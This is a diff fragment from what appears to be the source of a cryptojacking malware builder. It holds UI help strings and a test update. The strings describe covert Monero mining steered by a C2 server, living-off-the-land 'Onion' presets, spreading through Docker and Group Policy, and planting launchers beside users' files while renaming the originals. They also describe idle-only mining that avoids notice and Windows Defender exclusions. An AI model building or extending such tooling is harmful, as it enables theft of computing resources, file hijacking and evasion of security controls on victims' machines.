'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record<string, string> = {
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
miner_execution:
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
schedule_start: 'For Scheduled mode: daily start time (24h).',

View File

@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
});
it('maps Emberwake bullets to playbook tabs', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
});

Some files were not shown because too many files have changed in this diff Show More